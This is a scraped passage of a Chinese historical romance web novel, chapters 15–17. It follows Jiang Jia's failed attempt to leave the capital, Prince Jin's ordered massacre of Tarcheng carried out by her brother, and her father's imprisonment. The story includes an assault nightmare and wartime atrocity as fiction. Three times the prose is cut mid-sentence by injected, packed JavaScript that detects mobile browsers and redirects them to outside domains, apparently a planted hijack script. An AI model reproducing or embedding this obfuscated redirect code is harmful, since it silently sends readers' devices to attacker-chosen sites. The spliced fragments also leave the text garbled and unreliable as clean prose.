一阵窸窸窣窣的声音，那人从容不迫地取下鹤氅，解开襟扣，脱了外衣，旋即欺身而上。 她大惊，拼了命地反抗拍打。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040674|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人似是习惯了她的反抗，既不意外，也未停下手上动作，只反剪了她的手，用衣带将她双手绑在了床身立柱上，让她动弹不得。 一阵天旋地转，铺天盖地的窒息感一拥而上，似是要将她吞没。 “姑娘，姑娘——” 骤然从噩梦中惊醒，江葭猛地从床榻上坐起，大口喘着气，双手紧攥着衾被，止不住地发抖。方才的梦境实在是太过真实，便连一切害怕的、绝望的情绪都是真真切切的。 “姑娘夜里总是睡得不安稳，这可如何是好？”瑞珠侧身拧着帕子，话间难掩忧愁。 闻言，江葭失神的双眸渐渐聚焦，蓦地便泪如泉涌，伸手紧紧抱住她。 瑞珠一愣，有些无所适从。从来都是姑娘安慰她，她又何时见到姑娘这般脆弱的模样。 她缓缓抬手安抚她，静默着听她哭泣。 哭出来就好了，什么都会好了，她如此安慰姑娘，也如此安慰自己。 过了一炷香的时间，许是哭得累了，瑞珠才听见那哭声渐渐止歇下来。 "瑞珠，我想祖母了。" “我们明日就离开京城，好不好？” 瑞珠眨眨眼，愣怔了许久。 她不明白，京城不好么？ 候府的日子固然拘束，却是锦衣玉食，膏粱锦绣，于衣食上从未有过苛待，是旁人祖祖辈辈做梦都肖想不来的荣华富贵。 这倒还是其次。 更要紧的是，以姑娘如今的身份，离了候府，出了京城，她们又能去哪儿呢？ 江葭知她不解，摇头苦笑了声： “你兴许不会明白，”她神情微顿，语气颇有些苦涩，“可是于我而言，只要在京城一日，便是时时刀悬头顶，不得安生。” 瑞珠在一旁听得心惊。心内虽诧异，却也并未追问下去。因为她明白，有些事情不愿回忆亦或是提及，并非因为旁的，而仅仅是因为它们本身就足够糟糕。 江葭的确不愿多说，无声收了眼神，眸光微顿： “下月初四就是祖母的祭日，明日我向老夫人请求回一趟宣州府，就说我许久未能祭拜祖母……这个由头，她该是不会拒绝罢。” 在老夫人面前，她的预想总是与事实大差不差。 翌日，一切都较想象之中更为顺利。老太太一向对她心有不忍，又听她说是要到祖母坟前祭拜，没有说什么便允了她的请求。 或许是太顺利了些，即将离京的想法让江葭心底生出强烈的不真实感。 她丝毫不敢耽搁，连忙回了观澜苑，这会儿瑞珠已领着丫鬟收拾好了行囊。 只需等待侯府备好马车，主仆二人便可启程离京。 15. 第15章 趁着这会子功夫，瑞珠无事，又领着丫鬟将行囊细细检查了一遍，正这时，院内突然来了老太太的贴身丫鬟。 瑞珠看清了来人，笑迎上前：“素心姐姐，可是老太太那边安排妥当了？咱们也正正好趁着太阳落山前启程。” 素心神情微愣，随即朝她笑了笑，没说话。 江葭听见屋外的动静，掀开毡帘，柔声问：“可是老夫人有何交待？” 她走出屋子的瞬间，阳光正巧打到她的面上，为她柔和的轮廓镀上一层金光，更衬她眉眼似画。 素心有一瞬间看得愣了神，随即回过神来，应了声是。 倒是可惜了这么一副好容貌，她心想。圣上一纸诏书，却要将她余生都困于侯府，平白蹉跎了年华，又同捉弄人何异。 “是老夫人担心近来局势不会太平，嘱咐奴婢来给夫人您提个醒，您这些日子便安安生生地待在候府里，莫要急着回宣州府，以防横生事端。” 末了，又道一句：“还望您能理解她老人家的一番苦心。” 至于这苦心是什么，江葭明白，无非是老太太为了阖府安危的拳拳之心。 她并非不理解，也明白自己抵赖不得，垂眼敛下情绪，应了下来。她一向清楚，相较于吴氏陈氏二位，老太太喜爱她，无非便是喜爱她懂事。是以只要在侯府一日，哪怕是演，她也得将这份懂事演下去。 素心见她面上并无异色，稍放下了心，连忙回了静安堂回禀老太太。 在静安堂候着的老夫人，一炷香的功夫已饮去了三盏茶，眉眼间难掩愁绪。她直觉，这前朝后宫怕是太平不了太久。 听完素心禀报过后，老太太没有说什么，良久，沉沉叹了声气。 “天家脚下，当真是瞬息万变，晨起时，京中还是一番宁静表象，可如今呢……你看看前朝后宫哪个是平静的。” “今日侯爷下朝后始终眉头不展，只说是朝廷上主和派与主战派仍在争论不休，圣上派了晋王亲自领兵征讨北襄，战事又起，民不聊生啊。” “后宫……”老太太想起寿康宫那位，愁眉苦脸地叹了声，“亦乱成一锅粥了罢。” 此时的寿康宫的确好不热闹。 殿外哭声，闹声，杂着磕头声，持续了好几炷香的时间还未停歇。 太后支手揉着额角，眉心紧皱，见贴身宫女走了进来，抬眼问她：“孔家的人还没走吗？” 素莲摇了摇头，知太后此时怒火正盛，声音越来越小：“孔夫人还在殿外哭喊，说是……她家姑娘定是受人构害，要为她讨还了公道才肯回府。” 太后冷笑一声，心底积攒的怒火彻底压不住了：“好啊，她有本事就去找领兵出征的晋王讨还公道啊！殿是她自己进的，榻也是她自己上的，就连皇后身边的宫女都亲眼见着了，又有何人构陷于她！跑到哀家的寿康宫前哭算什么，是要把孔家的脸都丢尽了才肯罢休么！” 要说恨，太后心中又岂能不恨？恨那人心狠手辣，恨那人蛇蝎心肠，竟用那般黑心肠的手段将愫儿害至如此地步！ 可如今木已成舟，她再恨也不能到圣上面前去闹，一来是她们理亏在先，二来皇帝正为战事烦心，她犯不上在此时去触他的逆鳞。 想他晋王在设计愫儿的时候，便是打定了让她们只能打碎牙齿和血吞的主意。 “娘娘，孔夫人……可如何是好？”素莲瞧着殿外的动静，欲言又止。 太后平复了好一番心绪，沉思片刻，这才吩咐：“宣她入殿。” 甫一入了殿，孔夫人依旧止不住地抽泣，太后忍了她许久，终于砰地一声放下手中茶盏： “成日哭哭啼啼的有什么用，愫儿的福气都快被你哭没了！” 孔夫人被她方才那一动静吓得唬住，蓦地止了哭泣，转而想起女儿的遭遇，又失声痛哭起来：“娘娘，臣妇的女儿都遭人算计至这般田地了，还谈福气二字作甚！” 太后被她哭得头疼，不耐道：“你见识短，便莫要连累愫儿了。如今木已成舟，与其跑到哀家面前苦闹，不如回府做好将愫儿送入王府的准备。” “王府……哪个王府？”孔夫人霎时惊疑不定。 “自然是二皇子的定王府。” 孔夫人闻言，如遭五雷轰顶：“娘娘，万万不可啊，圣上已为二皇子择了正妃，愫儿嫁入王府便只能做侧妃了。” 太后厌烦地看了她一眼，不紧不慢地饮了一口茶，淡淡道：“嫁与晋王又有甚好处，他权势再大，能坐得了龙椅么？你且放心，圣上再如何重用晋王，终究不会把皇位传给他。可二皇子呢？你要知圣上如今膝下荒凉的道理。储君之位，除二皇子之外不作他想。” “以愫儿的身份，入了王府也是侧妃，等来日二皇子承继大统，便是贵妃，”太后俯视着面前哭得双目红肿的女人，意味深长地道，“若是正妃没了，则是那一人之下万人之上的位置，所以哀家才说，愫儿的福气还在后头。” 孔夫人细细一想，也觉太后说得有理，忙道：“娘娘说的是，臣妇这就回府上好生劝说愫儿一番。” 太后不耐地摆摆手，示意她退下。 待孔夫人出了殿，她抬眼问素莲：“这个时辰，晋王已经离京了罢？” 素莲应了声是。 太后低头看着茶盏中打着旋儿的浮沫，喃喃道：“走了好啊，最好永远都别回来了。” 素莲偷瞥了眼主子的神色，轻声宽慰：“娘娘不妨如此想，若是晋王没能回京，自是最好；退一步说，哪怕他凯旋归来，届时功高震主，娘娘亦可放宽心。” 太后嘴边咀嚼着功高震主四字，垂眼细细想了她这话，不由轻笑出声。 . 日子经不起细数，朝廷这仗一打就是小半个月。 中军帐乃主帅营帐，此时帐内聚着众多将领，皆恭敬等候着一人的到来。 常喜跟在主子身后，步履匆匆，行至中军帐外，见一将领打扮模样的人站在帐外，心内不免困惑，轻声问道：“这位是……？” 那人转身，脊背挺直，向陈续宗行了一礼： “末将江渝，拜见殿下。” 陈续宗本已往前走了数步，听见这个名姓时，骤然顿下了脚步，却并未转身。 常喜不太拿得准主子的意思，可他记得这个名字。 前些日子，孔家那小公子在军中犯了错，殿下便指派了这位顶替他在军中的职位。名不见经传的人物突然坐上了从四品的官职，青云直上，让军中不少人好生眼红。不过，难能可贵的是，这人骁勇善战，屡立战功，颇有当年陪太祖打天下的项老将军之风。 常喜忆起这些，又联系起他在军中的职务，便想起殿下昨日确是点了他来商讨战事。见殿下已经拔脚走入帐内，他心内揣度了番，连忙招呼江渝一道进去。 . 塔尔城扼关要塞，是连接东西的咽喉之地，亦是朝廷向前线输送粮草的必经之地。数月前，塔尔城守军已被董李二位将军打得溃不成军，只得议和，却不想其首领不过是假意臣服，加之塔尔城守备不严，致使其再度失守。 远在京城的圣上大动肝火，隔日下旨令晋王亲自督兵，为的正是万无一失，确保朝廷大获全胜。 晋王的确不负圣上所望，短短半月就成功带领大军再度攻下了塔尔城。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046577|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可随之而来的问题令众人争论不休，其中争议最大的便是城内民众的安置问题。今日到场的诸位将领皆是心知肚明，晋王今日宣他们谒见，为的正是此事。 陈续宗端坐在案几后，先点了几位将领的名姓，问他们有何想法。 众人的答案出奇地一致，无非是德服蛮夷，教化边民云云。 可当他问完五名将领之后，仍有继续问话的意思时，在场众人才后知后觉地意识到，晋王分明不满意这个答案。 此时帐内只余一人尚未被晋王问话，众人眸光皆齐刷刷地望向站在角落里的那人。 陈续宗同样看向他。 少年将军身板挺直，意气风发，虽低垂着眉眼，一副谦恭模样，却绝无自轻自贱之态。 让陈续宗很轻易地就想起了她。 其实细究来，姐弟俩的相貌并不相像，可那周身气度却是一模一样的，换言之，那是一股劲儿，只一眼，便叫人移不开眼，长久地难以忘怀。 打量他半晌过后，陈续宗不动声色地移开眼神，看向桌案上的山川形势图，淡声开口：“江参将，你呢，有何看法？” 江渝出列，恭谨作答：“末将以为，朝廷屡次三番给予蛮族机会，却不想那蛮族非但不感恩戴德，反而贼心不死，数度叛乱，致使我军伤亡惨重，是以末将认为，应当尽行剿灭，不留余孽。” 此言一出，众人哗然。 陈续宗亦挑了眉，抬眼看他，眸光中平添了一抹探究之色。 “殿下三思，灭族屠城之举，恐遗患无穷，更何况无辜百姓何罪之有？” 说话的这人是郭副将。 陈续宗并未理会他，而是看向江渝，问他：“江参将，本王若将此事交由你负责，可有信心？” 晋王此言一出，态度便极其明了了，想来是从一开始便存了要灭族屠城的心思。 心下如此想着，诸位将领难掩愕然情绪。他们皆是晋王麾下，见惯了他的和善面孔，险些忘了那人可是在弘泰十八年便带领过属下屠城三日的狠辣之人，此番又岂会宽大为怀，轻易放过？ 江渝亦是愣怔许久，随即一口应下：“末将定当不负所托。” 即便他面上波澜不惊，仍旧难掩话间激动情绪。少年将军热血难凉，如今能得晋王知遇，又岂能毫无波澜？ 陈续宗颔首，示意众人退下。 一旁的常喜目送着一众将领离去，目光亦停留在江渝身上许久。 江……前后一联系起来，他蓦地回忆起这位江参将的身份。 再回想起王爷入中军帐前，听见那人名姓的瞬间顿下了脚步，常喜骤然意识到，王爷想必早就想起了江参将同武安侯府那位的关系。 想到武安侯府那位……常喜眸光难免沉了沉，思绪亦拉回到宫宴那日。 时至今日，他记忆仍旧深刻。那晚出了殿，主子的脸沉得能滴出水似的，周身煞气亦是拔地而起。 好在彼时烛台只是擦着他的额角而过，伤口并不深，却是留了一道疤痕，以至于这段时日将领们同主子议事之时，目光总是若有似无地落在他额角的伤疤上，背地里亦是有意无意地打探其从何而来。 于王爷而言，这道明晃晃的疤痕亦不啻于屈辱罢，常喜心想。经此一事，主子应当也对江氏彻底歇了心思。 如此，自是甚好。 王爷要什么样的女人还找不到，非要同那个不知好歹的女人纠缠作甚。如今看来，王爷想必也早已就将她抛诸脑后了。 如此想着，他下意识瞥向主子额角，淡淡的一道疤痕，经了半月已不再明显，却足矣令人常常忆起，时时深刻。 16. 第16章 当常喜意识到自己想错了的时候，是在数日之后的庆功宴上。 这日，江沈两位将领带领部下彻底荡平塔尔城，边境战事已平，大军即将班师回朝。 依照军中惯例，胜仗之后必有一场庆功宴，晋王作为圣上钦点的抚远大将军，自然也会出席。 在场一众将领皆是起于卒伍，平日说话便颇有些口无遮拦，酒过三巡时更甚，“随着殿下打天下”的话都能说出口，遑论旁的大不敬的话。 每每闻之，陈续宗只笑笑，继续同他们推杯换盏，并不做纠正。 军中的酒大多烈得很，一场庆功宴结束，正是酒酣耳热之时，陈续宗听见有人附耳说了句：“殿下，下属想要为您献上一份礼物，不知您是否肯赏这个脸？” 说话这人是张副将，陈续宗挑眉看他一眼，给他送礼物的人一向不少，对方的意图属实不算难猜。 就在张副将以为这厢谋算落空了，突然听见他笑着应了声好。 入了营帐，果不其然，榻上坐着一名含羞带怯的女人，亦有几分姿色。 可他偏偏就在此时想起了那张倔强的脸，蓦地就不是什么滋味。 陈续宗霎时兴致全无，神情也颇有些古怪，朝身旁的张参将道了声不必，随即出了营帐，翻身上马。 夜间的山风凉得刺骨，骏马跑到山顶上时，他腹间的那股火也压得差不多了。 人在俯视大好河山的时候，总是会想下定决心征服些什么。 比如天下，陈续宗认为这是自己骨子里注定要征服的；也比如女人。 那个不知好歹，屡次三番拒绝自己的女人。 倒也不是什么倾国倾城的人物，不愿便罢了，自己亦不是非她不可。更何况天底下的美人比比皆是，都比她温顺，比她可意，比她知趣识进退。他如今权势在握，想要什么样的美人没有？ 方才走入营帐前他便如是想。 可经了方才那一遭，他不得不清醒意识到，她的确不同于旁人。 倔强的眼，挺直的脊背，那是独一无二的她。 过去这些日子，诚如常喜所想，她的拒绝于他而言不啻于耻辱，而且还是伴随着疤痕的存在时时提醒着他的耻辱。是以他曾下意识控制着自己不去想她，如此也压抑住了内心的欲望。 可如今想来，当真可笑。 想他晋王位高权重，便连圣上都要因他手握重权而忌惮他几分。不过一个女人罢了，她凭什么拒绝自己？ 他又凭什么因她不愿而委屈自己？ 眸底翻涌情绪逐渐归于平静，此时的他无比确定，他想要她，不管用什么手段。 . 常喜候了许久，才见主子从山上策马而下，连忙从身旁侍从手中接过鹤氅，走到主子身旁。 这打眼一瞧，让他心下暗惊。 上山不过一柱香的时间，主子神情怎变得如此之快。气定神闲不说，还显出满脸的势在必得。 许是回京夺权罢，常喜心想，而且越想越觉得是这个理。 兀自思索之际，听见他冷不丁问了句：“回京需要几日？” 常喜连忙恭敬回答：“慢则十五日，快则十日。” “吩咐下去，明日启程回京，不得耽搁片刻。” 常喜心下古怪，愣怔了半晌，主子昨日不是还说在此地休整三日再回京么。 听见那指敲桌案的声音由慢变快，逐渐不耐，常喜蓦地回过神来，连忙应下。 十日之后，班师回朝，京城几乎万人空巷，百姓皆夹道恭迎王师凯旋。 宫中，圣上亦在等着为晋王接风洗尘，不过由于久病的缘故，耷拉着眼，精神气并不太好，听见宫人通传的声音方缓缓睁开双眼。 来人大步流星地步入殿内，掩盖不住近些日子的春风得意。如今晋王势头正盛，而宰相却被侄子牵累，深陷卖官鬻爵的舆论风波，已是难掩式微之态。 做权臣便要做到晋王这般孤身寡人的地步才好，皇帝心内感叹。既无父母，也无子嗣，本身就没有软肋的人，行事自是百无禁忌。宰相却不然，投鼠忌器，到头来反被晋王将了一军。 京中权贵向来墙头草似的，眼下想要巴结晋王的不在少数，这些皇帝都知道。 趋利避害，毕竟也是人之常情。 可皇帝难免不担心，有一日的自己也会沦落到宰相这般结局，成了人人唯恐避之不及的一方。 说了几句场面话后，他开门见山：“说罢，你要向朕讨什么赏？” 陈续宗道：“此番征战董李二位将军功劳卓著，还望圣上论功行赏，予以加封。” 董李二人皆晋王一手提拔上来的将领，皇帝打心眼里不愿意为他们加封行赏，却也明白自己不得不如此为之。他止了低头啜茶的动作，定定地望着他，随后道了声好。 这一打量，让皇帝目光一顿。视线在他的额角上停留许久，随即缓缓开了口，似是关怀：“你额角这道伤疤是怎么回事？” “谢圣上关心，”陈续宗微顿，面不改色地回答，“不过是臣前些日子在马场驯马时，不慎被一匹烈马踢着了。” 闻言，皇帝嘴角不免抽了抽。什么样的烈马会正正好踢到那处。 沉默半晌，他道：“前些日子波斯国才进贡了些上好的祛疤膏，朕待会让曹平拿一些给你。” 他垂眼啜了口茶，又补充了句：“毕竟你如今正是气得志满，让旁人瞧见了，终归不甚好看。” 皇帝自然不信他的话，也不知晓这伤疤从何而来，不过他可以肯定的是晋王本人并不愿意提及此事。既如此，他自然不介意顺着这个伤疤来恶心晋王，如此也好帮自己出一口恶气。 陈续宗听得出皇帝话语间的机锋，并不介意，从容不迫地谢了恩，随即行礼退下，大步出了金銮殿。 待他走后，皇帝倚坐在龙椅上，难掩疲态。 “二皇子的婚事已交由礼部去办了？” 曹平连忙点头应是。 皇帝点点头：“还是得让孔家那丫头风风光光地嫁过去才好，莫要寒了太后的心。” “奴才省得。” 皇帝沉默许久，蓦地吩咐：“近来流传的那首童谣，你唱给朕听听。” 曹平猛地抬头，一时讷讷不敢言，砰地一声跪在地上：“圣上，此首童谣也不知是哪个有心之人散布出来的，恐是会有污圣听啊。” 皇帝摆手道了声无妨，示意他说。 听他唱毕，皇帝喃喃：“……守边疆，万民仰。” “万民仰……”他嘴边细细咀嚼着这三字，沉默许久，眸底难掩不甘，“朕是天子，他凭什么？” 他阖眼，呼了口浊气：“狼子野心，昭然若揭……朕姑且再忍忍。” . 常喜今日在外帮着主子应酬交际了一圈，到了晚间才回到王府。 从前不少老顽固上疏弹劾自家主子，只差没有指着他的脊梁骨痛骂，可如今宰相失势，这些人便只能觍着脸来攀附他。常喜若不借此机会对他们阴阳怪气地敲打几番，他还便真不姓常了。今儿个他走了这么一遭，当真是好不解气。 甫一进了书房，正欲同主子讲讲这些人的丑陋嘴脸，却见他站在书案后，手上拿着一本折子，烛火映照着他的面庞，让人看不分明他的神情。 常喜心下好奇，抻长了脖子去望，看清那折子署名是江奉儒的那一刻，心下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15057143|162511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霎时警铃大作。 “如今翰林院由谁主管？” 常喜连忙收了眼神：“是齐道全齐大人。” 陈续宗淡声吩咐：“你去请他来本王这儿喝一盏茶。” 可怜齐大人到了王府时，双手颤抖得连茶盏都端不稳。 这个节骨眼上，他实在难以不多想。方才来晋王府的路上，他诚惶诚恐，不停思索着自己有无做得罪晋王的事，却想不出个所以然。偏生来请他的那位常大人嘴严得透不出一丝风来，半个字也不往外透漏，让他很难不猜疑那厢的目的。 入了书房，他毕恭毕敬地行了一礼，上首那人却迟迟不叫起，半晌才不紧不慢道： “齐大人，翰林院的江奉儒可是你属下？” 齐道全直觉不妙，勉强镇定地应了声是。 陈续宗捏着折子的手一松，折子霎时掉落在桌案上，发出沉沉的一声闷响。 “这是他弹劾本王的折子，其中不乏些结党营私，欺君罔上的罪名，你不妨也看看。” 听到这句时，齐道全简直快要两眼一黑晕了过去，哪敢当真上前去看。 冷不丁又听见那人问道：“这般的折子，他上了不止五道。齐大人，你以为如何？” 齐道全被他惊得出了一层冷汗，连忙伏地，斩钉截铁道：“殿下，这人自是信口胡诌罢！您心怀仁义，忠君体国，如今走在官道上，您随机拉过一人去问，上至迟暮老人，下至五尺孩童，无人不对您是溢美之词啊。” 陈续宗颇为认真地点了点头：“你说的不错。” “若是忠言逆耳，本王听听倒也罢了；可若是信口胡诌，便合该有些惩罚，以儆效尤才是。否则长此以往，人人皆可颠倒黑白，让他人蒙受不白之冤，官场风气可如何是好？” 齐道全官服下的双腿仍在打颤，话也说得磕巴：“殿下此言甚是……断不可姑息养奸，让这般人混淆视听……下官治下不严，亦有罪过。” 陈续宗冷眼瞥过他颤栗的身子，却是摆摆手，表现得极为宽容大度：“罢了，本王并非小肚鸡肠之人，你若能将功补过，本王亦不会追究你的失察之责。” 齐道全瞬间就从晋王话语间捕捉到了丝缕希望，连忙表明忠心，只差没有对天发誓：“下官定当尽心竭力，严加管教下属，绝不再让殿下烦心！” 俯视着面前战战兢兢的官吏，陈续宗沉默半晌，屈指点了点面前的折子，淡声道：“倒也不必拘泥于此，你可明白？” 齐道全愣了片刻，抬头瞥了眼书案上的折子，霎时心领神会。他混迹官场多年，话已至此，又怎能不明白晋王此间深意，忙正色道： “下官明白。” 陈续宗摆摆手，示意他退下。 他方才在晋王面前连大气都不敢出，甫一踏出晋王府，霎时就感到神清气爽。 见送自己出府的常喜转身欲走，齐道全连忙拉过他的衣袖，讪笑一声：“常大人，殿下的意思……我还有一处不太明白，想向您讨教一番。” 常喜顿下脚步，示意他说。 齐道全环顾了圈周围，压低声音：“殿下方才言下之意，不光让我去追究那折子的问题，还示意我去寻江奉儒旁的错处。” “不过，个中分寸，我实在不好把握啊。” 他这话说得恳切，是因为他当真不太理解晋王的意思，又怕自己揣测错了方向，索性问个明白。毕竟罪名有轻有重，本就在上位者的一念之间。 常喜点点头，亦明白了他的意思，只说道：“往那处送便是。” 说完这话，抬手遥遥一指，齐道全便顺着那方向望了过去。 那儿是诏狱，文武百官皆闻风丧胆的地方。 17. 第17章 拜别了常喜，齐道全抬头看了眼王府匾额，上书晋王府三个龙飞凤舞的大字，乃当今圣上亲自题写，其中圣恩荣宠的意味自是不消多说。 他收了眼神，振振衣袖，大步走向停放在路边的软轿，虚浮的脚步下难掩得意。 只因方才临走前，晋王的心腹意味深长地同自己说了一句话。 “眼下詹事府恰好有一个缺儿，殿下又极为看重此事，你此番行事若是能合了他的心意，届时自是少不了你的好处。” 那厢话音刚落，齐道全便险些喜形于色。想他在翰林院为官十余年，不光捞不着什么油水，还要处处受排挤遭打压。他也不是没有争取过调到别处任职，却都是徒劳无功，一度以为自己要在这个官位上待到致仕的年纪。 如今上好的机会就在眼前，他对晋王当真是感恩戴德都来不及。 更何况，这位常爷可是晋王身边的一等大红人，旁人想见他一面都难如登天，他所传达的意思自然便是晋王的意思，岂能有假？ 不过一想起今晚这虚惊一场是因江奉儒而起，齐道全心中便升起一阵无名火，越想越气，往路边狠狠呸了一声。 倒也难怪他一向看那个老迂腐不顺眼，那人连晋王都敢得罪，旁人自是算不得什么了。眼下既然晋王明晃晃给他指了一条路，就休怪他心狠手辣了。 . 也是同一日，江葭受吴氏之邀，去了她院内喝茶。 吴氏亲自为她斟了一小盏茶，听着侯府外的动静，笑道：“今儿个王师凯旋，当真是好不热闹。” 江葭从她手中接过茶盏，道了声谢。 “塔尔城一役后，外头的百姓都在称颂晋王的功德，这人当真是风头无两。” “哦？百姓们是如何称颂他的？”江葭垂眼捻起一块芙蓉饼，蓦地出声问了句。 吴氏知晓她这段时日不曾出府，听她如此问倒也不觉奇怪，认真回想了片刻才道：“无非是些歌功颂德的话，近来不是流传着一首童谣么……我也不太记得了，只记得是有一句‘守边疆，万民仰’，简直是要把人都捧到天上去了。” 说完这话，吴氏似是有些无奈地摇摇头，蓦地听见一句： “想必是他自己命人散布出去的罢。” 这话说得极轻，到底还是让吴氏听见了。 吴氏眼皮狠狠跳了一下，哎呦了一声，心下腹诽这位真是什么话都往外头说，忙道：“这话可不兴说。这是在咱们府上，丫鬟仆妇都被屏退了，今儿这一遭也就罢了。可你要知道那人手眼通天的厉害之处，”她一顿，将声音压得极低，“先前侯爷同我说，朝中有位言官不过是在家中指责他几句，说他祸害朝政纲纪，随后就暴毙家中，据说死状凄惨。” 她欲言又止，叹了一声，附耳又道：“你不喜他，我也不喜他，便连侯爷每每提及他都是愁眉苦脸，想必京中官宦人家都是迫于他的威势才不得已谨慎些……总之还是稳妥起见，这话以后莫要往外说了。” 江葭眉眼淡淡，道了声：“我省得的。” 吴氏点点头，抬眼向她面上打量一眼，见她不知正想着什么，有些出神，连忙转移话题：“你那阿弟今儿也该回京了吧？” 想到阿渝，江葭眼神下意识柔和了些，声音也带了些自己未曾意识到的轻快：“他前些日子给我寄了书信，说是计划今日回京，我便明日再回家同他说说话，顺道也看看我阿娘。” 吴氏点头：“那是极好。” 江葭笑笑，没说什么，低头小小地咬了一口手中的糕点。 “我昨日听侯爷说，前些日子，正是你阿弟同沈副将一同荡平了塔尔城。他如今便已是从四品的武官了，又立下了赫赫军功，届时朝廷再一加封，想必便是……” 江葭动作一顿，微蹙了眉，突然出声打断了她：“荡平？这是何意？” “自然是字面意思呀，这番灭族屠城，可是差不离将那塔尔城夷为平地了。妇孺老人，应杀尽杀。我初初听闻也是有几分心惊肉跳，真是造孽啊。不过要怪也要怪那蛮夷假意臣服，言而无信，否则晋王麾下也不会如此狠辣决绝。” 江葭耳旁嗡嗡作响，脑海里一直想着灭族屠城四字，后面吴氏说的话都没听进去。 她从未想过，这四字有朝一日能同阿渝扯上干系。 似是心有余悸，吴氏说完这话又念了几声阿弥陀佛。直到那厢没了声响，她才注意到江葭面色有异，连忙关怀地问了声。 江葭勉强笑笑，道了声无妨，又道自己身子不适，改日再来她院中喝茶。 吴氏自然应了，错愕地看着她匆匆离去的背影。 江葭翌日一大早便回了江府。此时江父已去了翰林院当值，两人没能打上照面。 她遂同母亲说了好一会的话，不久后等到江渝回了府。 数月未见，江葭直觉自己这个弟弟变了许多。不过相较于周身气度的变化，外形相貌上的变化便算不得什么了。 她能明显感觉得到，江渝身上多了许多杀伐之气。若用一个词来形容如今的他，那是狠戾。 这样的阿弟让她感动分外陌生。 江渝察觉到阿姐打量到自己身上的目光，拿出一个木匣子递给她：“这是我出征时在当地市集上买的发簪，阿姐兴许会喜欢。” 见她仍在出神地想着些什么，江渝又道：“阿姐，我从战场上平安回来了，你不高兴吗？” 江葭连忙回过神来：“高兴……自然高兴。” 江渝不悦，阿姐方才看自己的眼神分明与避如蛇蝎无异，她又为何要向自己撒谎？ 江葭同他对视了一会儿，深吸一口气：“阿渝，我有话要问你。” 说罢，拉过他的手径直走到厢房，插上门栓，开门见山：“屠城……可是你带领部下做的？” 江渝闻言，紧皱了眉头，半晌才道：“阿姐，这并非你应该知晓的。” 似是难以置信，江葭阖眼，袖下的手微微颤抖：“这就是默认了？妇孺老人都杀……你良心何在？” “阿渝，我好像不太认识你了。” “良心？”江渝冷笑一声，“阿姐，这是战场，不是你死就是我亡的战场，莫要将你那套妇人之仁强加于他人身上了！” 江葭愤然：“不过是人皆有不忍人之心罢了，如果是与我毫无干系的人带领部下屠城，我也说不了什么，可那人是我从小到大最亲近的弟弟！怎能让我不感到心痛。说来也是可笑，我起初如何都不敢相信屠城灭族这四字会与你有何干系，可你现在亲口告诉我事实，我既害怕又觉得可悲！” 江渝沉默良久，开口又道：“即便此番我不去，晋王本就打定了屠城的主意，也会有其他将领……” 江葭突然变得极为激动：“所以他的想法便是对的么！” 江渝颇为古怪地看她一眼，视线在她面上停留许久，而后恍然：“阿姐，我知道了，你如此指责我，不过是因为你不喜晋王，对不对？” 他沉默一会儿，自嘲地笑了一声：“枉我从前还可怜你年纪轻轻便守了寡，便同你一起厌恶那人，可如今，我发现我错了，你也错得厉害。晋王殿下分明对你有恩才是。” 江葭抬头，满眼愕然地看他。 “数月前，我在京郊军营外见到阿姐，见你满头华翠，锦衣绣袄，便知你吃穿用度都是顶顶好的，候府非但不曾苛待于你，而且待你极好。而没有殿下，你又如何能有今日的荣华富贵？可你非但不感恩戴德，反而对他怀恨在心。良心何在这句话分明应该由我来问你才是！” 江葭不可置信地看向他，似是第一次才认识她这个弟弟一般。她眸光越来越寒冷，心也越来越冰凉。 江渝还待继续说话，却被她冷冷打断： “够了，我对你失望至极。” “你方才说，你是可怜我才讨厌晋王，那你错了，我不需要你来可怜。你既愿意追随他，我亦没什么好说的。只不过，从今往后，你莫叫我阿姐了，我也当没有你这个弟弟。” 说罢，将手中的木匣子径直扔到他怀里，转身出了门。 江渝看着她的背影，心中好像霎时就空了一大块，待他反应过来时，家中已没了阿姐的身影，江葭已然回了候府。 自那日姐弟俩不欢而散，俩人便不再联系。 江葭再听闻到有关江渝的消息时，他已然又去了西北前线作战，渺无音信。 而此时的江葭正在为另一桩事焦头烂额。 这事来得突然，同当年那桩荒谬的婚事一般，打了江家人一个措手不及。事情发展得既快，又严重，江葭知晓此事时，江父已被关入了诏狱。诏狱意味着什么，她知道，旁人也知道。 那可是竖着进去横着出来，不死都要脱层皮的地方。 一旦有人入了诏狱，众人便知是那人犯了错处。当然，也有另一种情况，即他得罪的人极不简单。 不论是前者还是后者，平日同江家往来之人都不再敢同他们扯上干系，恨不能一夜之间就同江家割席断交，遑论为江父奔走求情了。 世态炎凉四字，江葭当真是在短短几日内就体验得犹为深刻。 